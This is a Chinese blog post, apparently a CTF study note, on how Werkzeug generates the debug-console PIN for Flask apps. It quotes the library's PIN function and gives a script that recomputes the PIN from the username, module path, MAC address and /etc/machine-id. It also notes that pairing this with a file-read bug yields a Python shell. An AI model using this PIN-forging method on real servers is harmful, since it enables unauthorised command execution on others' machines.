ShallowRiver

有关flask开启debug模式中PIN码生成的流程

字数统计: 1.2k阅读时长: 6 min
2019/07/18 Share

从今年上半年打ctf就对flask这个框架很感兴趣,大型比赛遇到的flask题目还挺多,涉及了ssti模板注入,客户端session,以及flask开启debug模式PIN码生成的命令执行等等题目,自己当时水平有限加上没有时间研究,暑假来补坑。这篇就打算写一下关于flask的PIN码(华中赛区国赛就有一道,太菜没做出来)

1.PIN码产生的原因

在测试环境中,为了方便对应用进行调试,通常在设置中会开启debug模式,当程序报错时,可以在web页面上直接进入交互式python shell对程序进行调试,但是要进入这个交互式shell必须要输入服务端生成的PIN码进行验证

那么问题来了,这个PIN码是如何生成的呢,我们怎么获得这个PIN码

2.PIN码生成流程

这里采用pdb对代码进行调试:

1
2
3
4
5
6
7
8
9
10
import pdb
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello():
return "shello world!"

if __name__ == "__main__":
pdb.set_trace()
app.run(host="127.0.0.1", port=5000, debug=True)

直接给出PIN码生成的代码(路径:/site-packages/werkzeug/debug/init.py)
下面关键点来了,找到生成PIN码的函数get_pin_and_cookie_name(app):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None

# Pin was explicitly disabled
if pin == "off":
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin

modname = getattr(app, "__module__", app.__class__.__module__)

try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", app.__class__.__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

f cookie_name = "__wzd" + h.hexdigest()[:20]

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv, cookie_name

代码的关键在于两个列表probably_public_bits和 private_bits

1.probably_public_bits包含4个字段,分别为username,modname,getattr(app, “name“, app.class.name),getattr(mod, “file“, None),其中username对应的值为当前主机的用户名,modname的值为’flask.app’,getattr(app, “name“, app.class.name)对应的值为’Flask’,getattr(mod, “file“, None)对应的值为app包的绝对路径。

2.private_bits包含两个字段,分别为str(uuid.getnode())和get_machine_id(),其中str(uuid.getnode())为网卡mac地址的十进制值,在linux系统下得到存储位置为/sys/class/net/ens33(对应网卡)/address,get_machine_id()的值为当前机器唯一的机器码,在linux系统下的存储位置为/etc/machine-id

下面给出调试截图(pdb中s表示进入函数,n表示下一步,pp可以打印出变量的值),具体调试过程就不细说了(调了一上午)







最后可以看到我本机所对应的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
modname = 'flask.app'
username = 'Administrator'
getattr(app,"__name__",app.__class__.__name__)='Flask'
getattr(mod,"__file__",None)='C:\\Users\\Administrator\\PycharmProjects\\securritystudy\\venv\\lib\\site-packages\\flask\\app.py'


mod = <module 'flask.app' from 'C:\\Users\\Administrator\\PycharmProjects\\securritystudy\\venv\\lib\\site-packages\\flask\\app.py'>


str(uuid,getnode())=106611682152170
get_machine_id()=b'6893142a-ab05-4293-86f9-89df10a4361b'

linux下存储位置
/etc/machine-id ,/sys/class/net/ens33/address

PIN码
983-278-361

给出payload计算PIN码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'Administrator',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'C:\\Users\\Administrator\\PycharmProjects\\securritystudy\\venv\\lib\\site-packages\\flask\\app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'106611682152170',# str(uuid.getnode()), /sys/class/net/ens33/address
b'6893142a-ab05-4293-86f9-89df10a4361b'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)


可以看到计算出的PIN码与给出的一致

3.利用点

在实际生产环境中显然我们不可能直接得到private_bits的值,必须要配合一些文件读取的漏洞才能得到PIN码,最后进入交互式python shell来执行命令

CATALOG
  1. 1. 1.PIN码产生的原因
  2. 2. 2.PIN码生成流程
    1. 2.1. 1.probably_public_bits包含4个字段,分别为username,modname,getattr(app, “name“, app.class.name),getattr(mod, “file“, None),其中username对应的值为当前主机的用户名,modname的值为’flask.app’,getattr(app, “name“, app.class.name)对应的值为’Flask’,getattr(mod, “file“, None)对应的值为app包的绝对路径。
    2. 2.2. 2.private_bits包含两个字段,分别为str(uuid.getnode())和get_machine_id(),其中str(uuid.getnode())为网卡mac地址的十进制值,在linux系统下得到存储位置为/sys/class/net/ens33(对应网卡)/address,get_machine_id()的值为当前机器唯一的机器码,在linux系统下的存储位置为/etc/machine-id
  3. 3. 3.利用点